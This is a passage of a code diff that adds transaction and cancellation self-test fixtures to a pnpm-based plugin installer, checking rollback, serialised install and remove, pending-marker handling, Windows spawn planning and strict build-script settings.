materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "node install.js" });
|
|
2271
|
+
const approvedProof = computeMaterializedProof(profileDir, "some-plugin", [{ name: "node-pty", version: "1.0.0", selector: "node-pty@1.0.0" }]);
|
|
2272
|
+
const { spawnFn, calls } = scriptedSpawn([
|
|
2273
|
+
{ code: 0, out: "Ignored build scripts: node-pty@1.0.0\n" },
|
|
2274
|
+
{ code: 0, out: "Done\n" },
|
|
2275
|
+
]);
|
|
2276
|
+
const outcome = await runInstall({
|
|
2277
|
+
profile: "p",
|
|
2278
|
+
spec: "some-plugin",
|
|
2279
|
+
allowBuildScripts: ["node-pty"],
|
|
2280
|
+
approvedProof,
|
|
2281
|
+
preflight: preflightStub("some-plugin"),
|
|
2282
|
+
_profileDir: profileDir,
|
|
2283
|
+
_spawn: spawnFn,
|
|
2284
|
+
_describe: describeStub,
|
|
2285
|
+
_restoreWorkspace: () => { throw new Error("simulated restore denial"); },
|
|
2286
|
+
}).done;
|
|
2287
|
+
check(
|
|
2288
|
+
"workspace 恢复写失败 → 即使 rebuild exit 0 也 terminal failed 并回滚 marker/profile",
|
|
2289
|
+
outcome.status === "failed"
|
|
2290
|
+
&& /restor|恢复|workspace/i.test(outcome.detail ?? "")
|
|
2291
|
+
&& calls.length === 2
|
|
2292
|
+
&& readFileSync(join(profileDir, "package.json"), "utf8") === manifest
|
|
2293
|
+
&& readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8") === initialWs
|
|
2294
|
+
&& !existsSync(pendingMarkerPath(profileDir)),
|
|
2295
|
+
`status=${outcome.status} detail=${JSON.stringify(outcome.detail)} calls=${calls.length}`,
|
|
2296
|
+
);
|
|
2297
|
+
} finally {
|
|
2298
|
+
cleanup();
|
|
2299
|
+
}
|
|
2300
|
+
}
|
|
2301
|
+
|
|
2302
|
+
// 2. finalizeSuccess 抛错(pnpm 留下了坏 manifest):归一成 failed、回滚
|
|
2303
|
+
// 恢复字节并收掉 marker、done 恰好结算一次且不拒绝。
|
|
2304
|
+
{
|
|
2305
|
+
const { profileDir, manifest, cleanup } = makeTempProfile("finalize-throws");
|
|
2306
|
+
try {
|
|
2307
|
+
materializeFakePackage(profileDir, "some-plugin", "1.0.0");
|
|
2308
|
+
const { spawnFn } = scriptedSpawn([{
|
|
2309
|
+
code: 0,
|
|
2310
|
+
out: "Done\n",
|
|
2311
|
+
beforeExit: () => writeFileSync(join(profileDir, "package.json"), "{ broken json"),
|
|
2312
|
+
}]);
|
|
2313
|
+
const producer = runInstall({ profile: "p", spec: "some-plugin", preflight: preflightStub("some-plugin"), _profileDir: profileDir, _spawn: spawnFn, _describe: describeStub });
|
|
2314
|
+
let settlements = 0;
|
|
2315
|
+
void producer.done.then(() => { settlements++; });
|
|
2316
|
+
const outcome = await producer.done;
|
|
2317
|
+
await flush();
|
|
2318
|
+
check(
|
|
2319
|
+
"finalize 抛错 → failed + 回滚恢复 package.json + marker 收掉 + 单次结算",
|
|
2320
|
+
outcome.status === "failed"
|
|
2321
|
+
&& /reconciliation failed/.test(outcome.detail ?? "")
|
|
2322
|
+
&& readFileSync(join(profileDir, "package.json"), "utf8") === manifest
|
|
2323
|
+
&& !existsSync(pendingMarkerPath(profileDir))
|
|
2324
|
+
&& settlements === 1,
|
|
2325
|
+
`status=${outcome.status} detail=${JSON.stringify(outcome.detail)} settlements=${settlements}`,
|
|
2326
|
+
);
|
|
2327
|
+
} finally {
|
|
2328
|
+
cleanup();
|
|
2329
|
+
}
|
|
2330
|
+
}
|
|
2331
|
+
|
|
2332
|
+
// 3a. 串行化:install 在跑时 remove 排队,不许并发 spawn;install 失败回滚
|
|
2333
|
+
// 后 remove 才执行,且因目标不是依赖而 fail-fast(仍不 spawn)。
|
|
2334
|
+
{
|
|
2335
|
+
const { profileDir, cleanup } = makeTempProfile("serialize");
|
|
2336
|
+
try {
|
|
2337
|
+
materializeFakePackage(profileDir, "pkg-a", "1.0.0");
|
|
2338
|
+
const { spawnFn, procs } = blockingSpawn();
|
|
2339
|
+
const install = runInstall({ profile: "p", spec: "pkg-a", preflight: preflightStub("pkg-a"), _profileDir: profileDir, _spawn: spawnFn });
|
|
2340
|
+
await flush();
|
|
2341
|
+
const installSpawned = procs.length === 1;
|
|
2342
|
+
const remove = runRemove({ profile: "p", packageName: "pkg-a", _profileDir: profileDir, _spawn: spawnFn });
|
|
2343
|
+
await flush();
|
|
2344
|
+
const queuedNotSpawned = procs.length === 1;
|
|
2345
|
+
procs[0].finish(1, "boom");
|
|
2346
|
+
const installOutcome = await install.done;
|
|
2347
|
+
const removeOutcome = await remove.done;
|
|
2348
|
+
check(
|
|
2349
|
+
"install/remove 串行:remove 排队等待,install 结束后才执行",
|
|
2350
|
+
installSpawned
|
|
2351
|
+
&& queuedNotSpawned
|
|
2352
|
+
&& installOutcome.status === "failed"
|
|
2353
|
+
&& removeOutcome.status === "failed"
|
|
2354
|
+
&& /not a dependency/.test(removeOutcome.detail ?? "")
|
|
2355
|
+
&& procs.length === 1,
|
|
2356
|
+
`procs=${procs.length} install=${installOutcome.status} remove=${removeOutcome.status} ${JSON.stringify(removeOutcome.detail)}`,
|
|
2357
|
+
);
|
|
2358
|
+
} finally {
|
|
2359
|
+
cleanup();
|
|
2360
|
+
}
|
|
2361
|
+
}
|
|
2362
|
+
|
|
2363
|
+
// 3b-0. A corrupt/existing pending marker is recovery evidence. A new
|
|
2364
|
+
// install must neither overwrite it nor leave its just-created snapshot.
|
|
2365
|
+
{
|
|
2366
|
+
const { profileDir, cleanup } = makeTempProfile("install-corrupt-pending");
|
|
2367
|
+
try {
|
|
2368
|
+
const marker = pendingMarkerPath(profileDir);
|
|
2369
|
+
mkdirSync(dirname(marker), { recursive: true });
|
|
2370
|
+
const corruptBytes = "{ deliberately-corrupt\n";
|
|
2371
|
+
writeFileSync(marker, corruptBytes);
|
|
2372
|
+
const { spawnFn, calls } = scriptedSpawn([]);
|
|
2373
|
+
const outcome = await runInstall({
|
|
2374
|
+
profile: "p",
|
|
2375
|
+
spec: "some-plugin",
|
|
2376
|
+
preflight: preflightStub("some-plugin"),
|
|
2377
|
+
_profileDir: profileDir,
|
|
2378
|
+
_spawn: spawnFn,
|
|
2379
|
+
}).done;
|
|
2380
|
+
const snapshotsDir = join(dirname(marker), "snapshots");
|
|
2381
|
+
const leftoverSnapshots = existsSync(snapshotsDir) ? readdirSync(snapshotsDir) : [];
|
|
2382
|
+
check(
|
|
2383
|
+
"损坏/既有 pending marker → install 不 spawn、不覆盖证据、不遗留新 snapshot",
|
|
2384
|
+
outcome.status === "failed"
|
|
2385
|
+
&& /already has a pending install marker/.test(outcome.detail ?? "")
|
|
2386
|
+
&& calls.length === 0
|
|
2387
|
+
&& readFileSync(marker, "utf8") === corruptBytes
|
|
2388
|
+
&& leftoverSnapshots.length === 0,
|
|
2389
|
+
`status=${outcome.status} calls=${calls.length} snapshots=${leftoverSnapshots.join(",")} detail=${JSON.stringify(outcome.detail)}`,
|
|
2390
|
+
);
|
|
2391
|
+
} finally {
|
|
2392
|
+
cleanup();
|
|
2393
|
+
}
|
|
2394
|
+
}
|
|
2395
|
+
|
|
2396
|
+
// 3b. pending marker 存在时 remove 拒绝对该 profile 动手(fail closed),
|
|
2397
|
+
// marker 原样保留给恢复路径。
|
|
2398
|
+
{
|
|
2399
|
+
const { profileDir, cleanup } = makeTempProfile("pending-refuse", { "pkg-b": "1.0.0" });
|
|
2400
|
+
try {
|
|
2401
|
+
mkdirSync(dirname(pendingMarkerPath(profileDir)), { recursive: true });
|
|
2402
|
+
writeFileSync(pendingMarkerPath(profileDir), "{}\n");
|
|
2403
|
+
const { spawnFn, procs } = blockingSpawn();
|
|
2404
|
+
const outcome = await runRemove({ profile: "p", packageName: "pkg-b", _profileDir: profileDir, _spawn: spawnFn }).done;
|
|
2405
|
+
check(
|
|
2406
|
+
"pending marker 存在 → remove 拒绝执行且不 spawn pnpm,marker 保留",
|
|
2407
|
+
outcome.status === "failed"
|
|
2408
|
+
&& /pending install transaction/.test(outcome.detail ?? "")
|
|
2409
|
+
&& procs.length === 0
|
|
2410
|
+
&& existsSync(pendingMarkerPath(profileDir)),
|
|
2411
|
+
`status=${outcome.status} procs=${procs.length} ${JSON.stringify(outcome.detail)}`,
|
|
2412
|
+
);
|
|
2413
|
+
} finally {
|
|
2414
|
+
cleanup();
|
|
2415
|
+
}
|
|
2416
|
+
}
|
|
2417
|
+
|
|
2418
|
+
// 3c. 排队中被取消:killed 结局,pnpm 从未启动;锁随后正常释放。
|
|
2419
|
+
{
|
|
2420
|
+
const { profileDir, cleanup } = makeTempProfile("cancel-queued");
|
|
2421
|
+
try {
|
|
2422
|
+
materializeFakePackage(profileDir, "pkg-a", "1.0.0");
|
|
2423
|
+
const { spawnFn, procs } = blockingSpawn();
|
|
2424
|
+
const install = runInstall({ profile: "p", spec: "pkg-a", preflight: preflightStub("pkg-a"), _profileDir: profileDir, _spawn: spawnFn });
|
|
2425
|
+
await flush();
|
|
2426
|
+
const remove = runRemove({ profile: "p", packageName: "pkg-a", _profileDir: profileDir, _spawn: spawnFn });
|
|
2427
|
+
remove.cancel();
|
|
2428
|
+
procs[0]?.finish(1, "boom");
|
|
2429
|
+
const installOutcome = await install.done;
|
|
2430
|
+
const removeOutcome = await remove.done;
|
|
2431
|
+
check(
|
|
2432
|
+
"排队中取消 → killed,未 spawn;前一个任务照常完成",
|
|
2433
|
+
removeOutcome.status === "killed" && procs.length === 1 && installOutcome.status === "failed",
|
|
2434
|
+
`remove=${removeOutcome.status} install=${installOutcome.status} procs=${procs.length}`,
|
|
2435
|
+
);
|
|
2436
|
+
} finally {
|
|
2437
|
+
cleanup();
|
|
2438
|
+
}
|
|
2439
|
+
}
|
|
2440
|
+
|
|
2441
|
+
// 4a. spawn 计划(纯函数):非 Windows 无 shell;Windows 有 .exe 则
|
|
2442
|
+
// shell:false,仅 .cmd 则 shell:true + treeKill,全找不到回退 "pnpm"。
|
|
2443
|
+
{
|
|
2444
|
+
const shimDir = mkdtempSync(join(tmpdir(), "dsh-mall-selftest-path-"));
|
|
2445
|
+
try {
|
|
2446
|
+
const planPosix = pnpmSpawnPlan({ platform: "linux", pathEnv: shimDir });
|
|
2447
|
+
const posixOk = planPosix.command === "pnpm" && planPosix.shell === false && planPosix.treeKill === false;
|
|
2448
|
+
const planMissing = pnpmSpawnPlan({ platform: "win32", pathEnv: shimDir });
|
|
2449
|
+
const missingOk = planMissing.command === "pnpm" && planMissing.shell === true && planMissing.treeKill === true;
|
|
2450
|
+
writeFileSync(join(shimDir, "pnpm.cmd"), "@echo off\r\n");
|
|
2451
|
+
const planCmd = pnpmSpawnPlan({ platform: "win32", pathEnv: shimDir });
|
|
2452
|
+
const cmdOk = planCmd.command === join(shimDir, "pnpm.cmd") && planCmd.shell === true && planCmd.treeKill === true;
|
|
2453
|
+
writeFileSync(join(shimDir, "pnpm.exe"), "MZ");
|
|
2454
|
+
const planExe = pnpmSpawnPlan({ platform: "win32", pathEnv: shimDir });
|
|
2455
|
+
const exeOk = planExe.command === join(shimDir, "pnpm.exe") && planExe.shell === false && planExe.treeKill === false;
|
|
2456
|
+
check(
|
|
2457
|
+
"pnpmSpawnPlan:posix 直起 / win32 优先 .exe 无 shell / 仅 .cmd 则 treeKill",
|
|
2458
|
+
posixOk && missingOk && cmdOk && exeOk,
|
|
2459
|
+
JSON.stringify({ planPosix, planMissing, planCmd, planExe }),
|
|
2460
|
+
);
|
|
2461
|
+
} finally {
|
|
2462
|
+
rmSync(shimDir, { recursive: true, force: true });
|
|
2463
|
+
}
|
|
2464
|
+
}
|
|
2465
|
+
|
|
2466
|
+
// 4b. 取消时序:cancel() → 进程 close → killed 结局 → 回滚收 marker,
|
|
2467
|
+
// 回滚严格发生在进程退出之后(done 链只在 'close' 后推进)。
|
|
2468
|
+
{
|
|
2469
|
+
const { profileDir, cleanup } = makeTempProfile("cancel-order");
|
|
2470
|
+
try {
|
|
2471
|
+
materializeFakePackage(profileDir, "pkg-a", "1.0.0");
|
|
2472
|
+
const { spawnFn, procs } = blockingSpawn();
|
|
2473
|
+
const install = runInstall({ profile: "p", spec: "pkg-a", preflight: preflightStub("pkg-a"), _profileDir: profileDir, _spawn: spawnFn });
|
|
2474
|
+
await flush();
|
|
2475
|
+
const spawnedAndMarked = procs.length === 1 && existsSync(pendingMarkerPath(profileDir));
|
|
2476
|
+
install.cancel();
|
|
2477
|
+
const outcome = await install.done;
|
|
2478
|
+
const output = (() => { let text = ""; let chunk = install.readOutput(); while (chunk.length > 0) { text += chunk; chunk = install.readOutput(); } return text; })();
|
|
2479
|
+
check(
|
|
2480
|
+
"取消在途 install → killed + 回滚收 marker(在进程退出之后)",
|
|
2481
|
+
spawnedAndMarked
|
|
2482
|
+
&& outcome.status === "killed"
|
|
2483
|
+
&& !existsSync(pendingMarkerPath(profileDir))
|
|
2484
|
+
&& /restored profile files/.test(output),
|
|
2485
|
+
`status=${outcome.status} marker=${existsSync(pendingMarkerPath(profileDir))}`,
|
|
2486
|
+
);
|
|
2487
|
+
} finally {
|
|
2488
|
+
cleanup();
|
|
2489
|
+
}
|
|
2490
|
+
}
|
|
2491
|
+
|
|
2492
|
+
return failed;
|
|
2493
|
+
}
|
|
2494
|
+
|
|
1010
2495
|
if (process.argv[1]?.endsWith("installer.js") && process.argv.includes("--self-test")) {
|
|
1011
2496
|
console.log("allowBuilds 合并 fixtures:");
|
|
1012
2497
|
const failed = runAllowBuildsFixtures();
|
|
1013
2498
|
console.log(`${ALLOW_BUILDS_FIXTURES.length - failed}/${ALLOW_BUILDS_FIXTURES.length} passed`);
|
|
1014
|
-
|
|
2499
|
+
// 实装 pnpm add 的参数/环境(纯函数):peer 自动安装必须关闭,否则
|
|
2500
|
+
// marketplace 安装会把 @deepseek-ai 宿主依赖栈拉进 profile;构建脚本必须
|
|
2501
|
+
// 严格,否则 pnpm 退出码 0 却跳过构建脚本,批准闸形同虚设。
|
|
2502
|
+
const addArgs = liveAddArgs("some-plugin@1.0.0");
|
|
2503
|
+
const argsOk = addArgs[0] === "add" && addArgs[1] === "some-plugin@1.0.0"
|
|
2504
|
+
&& addArgs.includes("--config.auto-install-peers=false")
|
|
2505
|
+
&& addArgs.includes("--config.strict-dep-builds=true");
|
|
2506
|
+
const env = liveAddEnv({ KEEP_ME: "1" });
|
|
2507
|
+
const envOk = env.KEEP_ME === "1"
|
|
2508
|
+
&& env.npm_config_auto_install_peers === "false" && env.NPM_CONFIG_AUTO_INSTALL_PEERS === "false"
|
|
2509
|
+
&& env.npm_config_strict_dep_builds === "true" && env.NPM_CONFIG_STRICT_DEP_BUILDS === "true";
|
|
2510
|
+
console.log(` ${argsOk && envOk ? "PASS" : "FAIL"} 实装 pnpm add:peer 自动安装关闭 + 严格构建脚本(args + env)`);
|
|
2511
|
+
console.log("事务 fixtures:");
|
|
2512
|
+
// 默认失败:若事件循环提前排空(Promise 不挂住进程),静默退出也算 FAIL。
|
|
2513
|
+
process.exitCode = 1;
|
|
2514
|
+
void runTransactionFixtures().then(
|
|
2515
|
+
(txFailed) => {
|
|
2516
|
+
process.exit(failed === 0 && argsOk && envOk && txFailed === 0 ? 0 : 1);
|
|
2517
|
+
},
|
|
2518
|
+
(error) => {
|
|
2519
|
+
console.error(` FAIL 事务 fixtures 抛错: ${error?.stack ?? error}`);
|
|
2520
|
+
process.exit(1);
|
|
2521
|
+
},
|
|
2522
|
+
);
|
|
1015
2523
|
}
|